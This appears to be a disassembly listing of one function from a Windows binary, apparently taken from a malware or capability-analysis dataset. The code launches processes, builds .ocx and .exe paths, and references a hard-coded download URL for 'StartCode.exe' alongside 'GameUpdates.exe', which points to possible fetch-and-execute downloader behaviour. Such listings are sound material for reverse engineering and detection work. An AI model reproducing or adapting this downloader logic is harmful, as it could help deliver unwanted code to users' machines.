Function at 0x401110
Capabilities:
Create process on windows
Get number of processors

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x42a079
mov eax, dword fs:[0]
push eax
sub esp, 0x428
mov eax, dword [0x435ca4]
xor eax, esp
mov dword [esp + 0x420], eax
push ebx
push esi
push edi
mov eax, dword [0x435ca4]
xor eax, esp
push eax
lea eax, [esp + 0x438]
mov dword fs:[0], eax
lea eax, [esp + 0x2c]
push eax
mov ebx, ecx
mov dword [esp + 0x30], 8
mov dword [esp + 0x34], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, ebx
call fcn.00404f11
mov eax, ebx
call fcn.00401aa0
test eax, eax
jne 0x401190
push eax
push eax
push 0x42f308
call fcn.004058eb
jmp 0x401761
call fcn.004062e2
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x60]
lea edi, [ebx + 0x158]
mov dword [esp + 0x18], edi
test edx, edx
jne 0x4011ad
xor eax, eax
jmp 0x4011bb
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4011b2
sub eax, esi
push eax
push edx
mov ecx, edi
call fcn.004030e0
call fcn.00401f10
call fcn.00401810
test eax, eax
je 0x401729
call fcn.004046e2
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4011f0
push 0x80004005
call fcn.00403240
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
push 1
push ecx
mov dword [esp + 0x448], 0
lea esi, [ebx + 0xa4]
mov ecx, esp
mov dword [esp + 0x18], esp
push esi
call fcn.00402e40
lea ecx, [esp + 0x18]
push ecx
call fcn.00401b90
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x444], 1
call fcn.00403170
mov byte [esp + 0x440], 0
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x401264
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x38
lea ecx, [esp + 0x260]
push 0
mov edi, 0x2f2f2e
push ecx
mov dword [esp + 0x264], edi
call fcn.00416d50
mov edx, dword [esp + 0x20]
push edx
lea eax, [esp + 0x268]
push 0x3c
push eax
call fcn.004159c3
push str..ocx
lea ecx, [esp + 0x274]
push 0x3c
push ecx
call fcn.004159c3
lea edx, [esp + 0x27c]
push 0
push edx
call fcn.00414fb7
add esp, 0x2c
cmp eax, 0xffffffff
jne 0x4013cc
push 0x38
lea eax, [esp + 0x29c]
push 0
push eax
mov dword [esp + 0x2a0], edi
call fcn.00416d50
push esi
lea ecx, [esp + 0x2a4]
push 0x3c
push ecx
call fcn.004159c3
push 0x3b
lea edx, [esp + 0x2ed]
push 0
push edx
mov byte [esp + 0x2f4], 0
call fcn.00416d50
lea eax, [esp + 0x2b8]
push eax
lea ecx, [esp + 0x2f8]
push 0x3c
push ecx
call fcn.004159c3
push str..exe
lea edx, [esp + 0x304]
push 0x3c
push edx
call fcn.004159c3
mov esi, dword [esp + 0x50]
push 0
push esi
call fcn.00414fb7
add esp, 0x44
cmp eax, 0xffffffff
je 0x401354
lea eax, [esp + 0x258]
push eax
push esi
call fcn.0040639b
jmp 0x4013d0
lea ecx, [esp + 0x294]
push 0
push ecx
call fcn.00414fb7
add esp, 8
cmp eax, 0xffffffff
je 0x401382
lea edx, [esp + 0x258]
push edx
lea eax, [esp + 0x298]
push eax
call fcn.0040639b
jmp 0x4013d0
lea ecx, [esp + 0x2d0]
push 0
push ecx
call fcn.00414fb7
add esp, 8
cmp eax, 0xffffffff
je 0x4013b0
lea edx, [esp + 0x258]
push edx
lea eax, [esp + 0x2d4]
push eax
call fcn.0040639b
jmp 0x4013d0
push 0
push 0
push 0x42f33c
call fcn.004058eb
lea ecx, [esp + 0x14]
call fcn.00403220
jmp 0x401761
mov esi, dword [esp + 0x14]
push 0x44
lea ecx, [esp + 0x38]
push 0
push ecx
call fcn.00416d50
xor eax, eax
push 0x63
push eax
lea edx, [esp + 0x3d9]
push edx
mov dword [esp + 0x4c], 0x44
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov byte [esp + 0x3dc], al
call fcn.00416d50
lea eax, [esp + 0x270]
push eax
lea ecx, [esp + 0x3e0]
push 0x64
push ecx
call fcn.004159c3
push 0x42f358
lea edx, [esp + 0x3ec]
push 0x64
push edx
call fcn.004159c3
add ebx, 0x108
push ebx
lea eax, [esp + 0x3f8]
push 0x64
push eax
call fcn.004159c3
add esp, 0x3c
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x38]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x3e4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4014b9
push eax
push eax
push 0x42f35c
call fcn.004058eb
mov dword [esp + 0x440], 0xffffffff
lea eax, [esi - 0x10]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401761
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x401761
mov ecx, dword [esp + 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x20]
push edx
call esi
call fcn.004046e2
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4014e7
push 0x80004005
call fcn.00403240
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x10], eax
push 0x4c
lea ecx, [esp + 0x37c]
mov bl, 2
push 0
mov byte [esp + 0x448], bl
push ecx
mov dword [esp + 0x380], edi
call fcn.00416d50
mov edx, dword [esp + 0x24]
mov eax, dword [edx]
push eax
lea eax, [esp + 0x384]
push 0x50
push eax
call fcn.004159c3
push str..exe
lea ecx, [esp + 0x390]
push 0x50
push ecx
call fcn.004159c3
mov eax, dword [0x42f37c]
mov ecx, dword [0x42f380]
mov edx, dword [0x42f378]
push 0x52
mov dword [esp + 0x33c], ecx
mov dword [esp + 0x334], edx
mov edx, dword [0x42f384]
mov dword [esp + 0x338], eax
mov ax, word [0x42f388]
lea ecx, [esp + 0x346]
push 0
push ecx
mov dword [esp + 0x348], edx
mov word [esp + 0x34c], ax
call fcn.00416d50
lea edx, [esp + 0x3a4]
push edx
lea eax, [esp + 0x340]
push 0x64
push eax
call fcn.004159c3
push str._http:__update.91ok.com_StartCode.exe
lea ecx, [esp + 0x34c]
push 0x64
push ecx
call fcn.004159c3
add esp, 0x48
lea edx, [esp + 0x18]
push edx
call fcn.00401cd0
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x444], 3
call fcn.00403170
mov byte [esp + 0x440], bl
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401605
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [esp + 0x10]
push 0x42f3b4
push edi
call fcn.004159ac
add esp, 8
test eax, eax
setne al
test al, al
je 0x4016da
lea ecx, [esp + 0x10]
push ecx
mov eax, 0x439a7c
call fcn.00402760
add esp, 4
test al, al
je 0x4016da
push 0
push str..__Stroaviot.ocx
call fcn.00414f2e
add esp, 8
test eax, eax
je 0x401677
push 0
push str..__GameUpdates.exe
call fcn.00414f2e
add esp, 8
test eax, eax
jne 0x401715
push str..__Stroaviot.ocx
push str..__GameUpdates.exe
call fcn.0040639b
push 0x44
lea edx, [esp + 0x38]
push 0
push edx
call fcn.00416d50
add esp, 0xc
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x38]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x32c]
push edx
push 0
mov dword [esp + 0x5c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4016da
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x20]
push ecx
call esi
lea eax, [edi - 0x10]
mov byte [esp + 0x440], 0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4016fe
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x440], 0xffffffff
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
jmp 0x401497
lea ecx, [esp + 0x10]
call fcn.00403220
lea ecx, [esp + 0x14]
call fcn.00403220
jmp 0x401761
lea ecx, [esp + 0x7c]
push ecx
call fcn.00403320
lea edx, [esp + 0x7c]
mov dword [esp + 0x440], 4
mov ecx, edx
mov dword [ebx + 0x20], edx
call fcn.00407585
lea eax, [esp + 0x7c]
push eax
mov dword [esp + 0x444], 0xffffffff
call fcn.00401790
xor eax, eax
mov ecx, dword [esp + 0x438]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x420]
xor ecx, esp
call fcn.00414d07
mov esp, ebp
pop ebp
ret